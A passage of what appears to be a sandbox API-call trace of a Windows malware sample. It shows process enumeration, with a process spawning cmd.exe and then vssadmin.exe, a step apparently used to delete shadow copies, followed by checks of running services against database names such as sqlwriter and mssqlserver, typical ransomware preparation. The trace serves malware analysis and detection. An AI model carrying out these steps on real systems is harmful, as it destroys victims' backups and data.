pcPriClassBase=8, dwFlags=0x0, szExeFile="jam.exe")) returned 1 [0044.324] lstrlenW (lpString="jam.exe") returned 7 [0044.324] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chooseincidence.exe")) returned 1 [0044.325] lstrlenW (lpString="chooseincidence.exe") returned 19 [0044.325] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="numericalrear.exe")) returned 1 [0044.566] lstrlenW (lpString="numericalrear.exe") returned 17 [0044.566] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uponpharmacologyintermediate.exe")) returned 1 [0044.566] lstrlenW (lpString="uponpharmacologyintermediate.exe") returned 32 [0044.566] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressed-plate-fbi.exe")) returned 1 [0044.567] lstrlenW (lpString="expressed-plate-fbi.exe") returned 23 [0044.567] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="come_wave.exe")) returned 1 [0044.567] lstrlenW (lpString="come_wave.exe") returned 13 [0044.567] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0044.568] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0044.568] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0044.569] lstrlenW (lpString="uyuquk.exe") returned 10 [0044.569] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x970, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0044.569] lstrlenW (lpString="cmd.exe") returned 7 [0044.569] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0044.570] lstrlenW (lpString="conhost.exe") returned 11 [0044.570] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0044.570] lstrlenW (lpString="vssadmin.exe") returned 12 [0044.570] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0044.571] lstrlenW (lpString="VSSVC.exe") returned 9 [0044.571] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.571] lstrlenW (lpString="svchost.exe") returned 11 [0044.571] Process32NextW (in: hSnapshot=0x1ec, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0044.572] CloseHandle (hObject=0x1ec) returned 1 [0044.572] Sleep (dwMilliseconds=0x1f4) [0045.238] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x566930 [0045.238] EnumServicesStatusExW (in: hSCManager=0x566930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 0 [0045.239] GetLastError () returned 0xea [0045.239] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12c6) returned 0x55e478 [0045.239] EnumServicesStatusExW (in: hSCManager=0x566930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x55e478, cbBufSize=0x12c6, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x55e478, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 1 [0045.240] CloseServiceHandle (hSCObject=0x566930) returned 1 [0045.240] lstrlenW (lpString="Appinfo") returned 7 [0045.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0045.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0045.240] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0045.240] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0045.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0045.240] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0045.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0045.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0045.240] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0045.240] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0045.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0045.240] lstrlenW (lpString="AudioSrv") returned 8 [0045.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0045.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0045.240] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0045.240] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0045.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0045.240] lstrlenW (lpString="BFE") returned 3 [0045.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0045.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0045.241] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0045.241] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0045.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0045.241] lstrlenW (lpString="CryptSvc") returned 8 [0045.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0045.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0045.241] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0045.241] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0045.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0045.241] lstrlenW (lpString="CscService") returned 10 [0045.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0045.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0045.241] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0045.241] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0045.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0045.241] lstrlenW (lpString="DcomLaunch") returned 10 [0045.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0045.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0045.241] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0045.241] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0045.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0045.241] lstrlenW (lpString="Dhcp") returned 4 [0045.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0045.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0045.241] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0045.241] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0045.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0045.241] lstrlenW (lpString="Dnscache") returned 8 [0045.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0045.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0045.241] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0045.241] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0045.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0045.241] lstrlenW (lpString="DPS") returned 3 [0045.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0045.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0045.242] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0045.242] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0045.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0045.242] lstrlenW (lpString="eventlog") returned 8 [0045.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0045.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0045.242] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0045.242] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0045.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0045.242] lstrlenW (lpString="EventSystem") returned 11 [0045.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0045.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0045.242] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0045.242] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0045.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0045.242] lstrlenW (lpString="gpsvc") returned 5 [0045.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0045.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0045.242] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0045.242] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0045.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0045.242] lstrlenW (lpString="iphlpsvc") returned 8 [0045.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0045.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0045.242] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0045.242] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0045.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0045.242] lstrlenW (lpString="LanmanServer") returned 12 [0045.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0045.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0045.242] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0045.242] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0045.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0045.242] lstrlenW (lpString="LanmanWorkstation") returned 17 [0045.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0045.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0045.243] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0045.243] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0045.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0045.243] lstrlenW (lpString="lmhosts") returned 7 [0045.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0045.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0045.243] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0045.243] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0045.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0045.243] lstrlenW (lpString="MMCSS") returned 5 [0045.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0045.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0045.243] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0045.243] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0045.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0045.243] lstrlenW (lpString="MpsSvc") returned 6 [0045.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0045.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0045.243] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0045.243] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0045.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0045.243] lstrlenW (lpString="Netman") returned 6 [0045.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0045.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0045.243] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0045.243] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0045.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0045.243] lstrlenW (lpString="netprofm") returned 8 [0045.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0045.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0045.243] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0045.243] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0045.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0045.244] lstrlenW (lpString="NlaSvc") returned 6 [0045.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0045.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0045.244] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0045.244] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0045.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0045.244] lstrlenW (lpString="nsi") returned 3 [0045.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0045.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0045.244] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0045.244] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0045.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0045.244] lstrlenW (lpString="PcaSvc") returned 6 [0045.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0045.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0045.244] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0045.244] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0045.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0045.244] lstrlenW (lpString="PlugPlay") returned 8 [0045.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0045.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0045.244] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0045.244] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0045.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0045.244] lstrlenW (lpString="Power") returned 5 [0045.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0045.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0045.244] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0045.244] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0045.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0045.244] lstrlenW (lpString="ProfSvc") returned 7 [0045.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0045.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0045.244] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0045.244] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0045.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0045.245] lstrlenW (lpString="RpcEptMapper") returned 12 [0045.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0045.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0045.245] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0045.245] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0045.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0045.245] lstrlenW (lpString="RpcSs") returned 5 [0045.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0045.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0045.245] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0045.245] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0045.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0045.245] lstrlenW (lpString="SamSs") returned 5 [0045.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0045.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0045.245] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0045.245] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0045.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0045.245] lstrlenW (lpString="Schedule") returned 8 [0045.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0045.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0045.245] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0045.245] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0045.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0045.245] lstrlenW (lpString="SENS") returned 4 [0045.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0045.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0045.245] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0045.245] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0045.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0045.245] lstrlenW (lpString="ShellHWDetection") returned 16 [0045.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0045.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0045.245] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0045.245] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0045.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0045.246] lstrlenW (lpString="Spooler") returned 7 [0045.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0045.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0045.246] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0045.246] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0045.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0045.246] lstrlenW (lpString="swprv") returned 5 [0045.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0045.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0045.246] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0045.246] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0045.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0045.246] lstrlenW (lpString="SysMain") returned 7 [0045.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0045.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0045.246] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0045.246] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0045.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0045.246] lstrlenW (lpString="Themes") returned 6 [0045.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0045.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0045.246] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0045.246] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0045.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0045.246] lstrlenW (lpString="TrkWks") returned 6 [0045.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0045.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0045.246] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0045.246] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0045.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0045.246] lstrlenW (lpString="UxSms") returned 5 [0045.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0045.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0045.246] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0045.246] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0045.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0045.247] lstrlenW (lpString="VSS") returned 3 [0045.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0045.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0045.247] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0045.247] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0045.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0045.247] lstrlenW (lpString="WdiServiceHost") returned 14 [0045.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0045.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0045.247] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0045.247] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0045.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0045.247] lstrlenW (lpString="WdiSystemHost") returned 13 [0045.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0045.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0045.247] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0045.247] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0045.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0045.247] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0045.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0045.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0045.247] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0045.247] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0045.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0045.247] lstrlenW (lpString="Winmgmt") returned 7 [0045.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0045.247] lstrcmpiW 